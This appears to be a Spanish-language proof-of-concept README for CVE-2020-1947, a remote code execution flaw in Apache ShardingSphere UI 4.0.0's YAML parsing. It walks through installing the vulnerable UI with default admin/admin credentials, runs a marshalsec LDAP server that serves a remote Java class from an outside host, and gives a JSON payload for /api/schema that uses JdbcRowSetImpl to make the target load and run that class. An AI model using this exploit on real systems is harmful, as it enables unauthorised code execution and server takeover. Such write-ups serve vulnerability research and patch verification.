jas502n/cve-2020-1947Vulnerabilidad de ejecución remota de código en el análisis de YAML de Apache ShardingSphere UI
wget https://mirror-hk.koddos.net/apache/incubator/shardingsphere/4.0.0/apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz
[root@kali]# tar -xf apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz
[root@kali]# ll
total 23064
drwxr-xr-x 6 root root 103 Feb 28 15:23 apache-shardingsphere-incubating-4.0.0-sharding-ui-bin
[root@kali]# cd apache-shardingsphere-incubating-4.0.0-sharding-ui-bin
[root@kali]# bin/start.sh
#
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
server.port=8088
user.admin.username=admin
user.admin.password=admin
El puerto, el nombre de usuario y la contraseña se pueden modificar aquí.
Introduzca la dirección IP del servidor que ha desplegado seguida de :8088 para acceder a la interfaz de administración.
El nombre de usuario y la contraseña predeterminados son: admin/admin
La dirección del centro de registro es la dirección de zookeeper, formato: 127.0.0.1:2181
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://10.10.20.166:8000/#ExportObject
http://10.10.20.166:8088/api/schema
Poc:
{
"name": "CVE-2020-1947",
"ruleConfiguration": " encryptors:\n encryptor_aes:\n type: aes\n props:\n aes.key.value: 123456abc\n encryptor_md5:\n type: md5\n tables:\n t_encrypt:\n columns:\n user_id:\n plainColumn: user_plain\n cipherColumn: user_cipher\n encryptor: encryptor_aes\n order_id:\n cipherColumn: order_cipher\n encryptor: encryptor_md5",
"dataSourceConfiguration": "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/ExportObject\n autoCommit: true"
}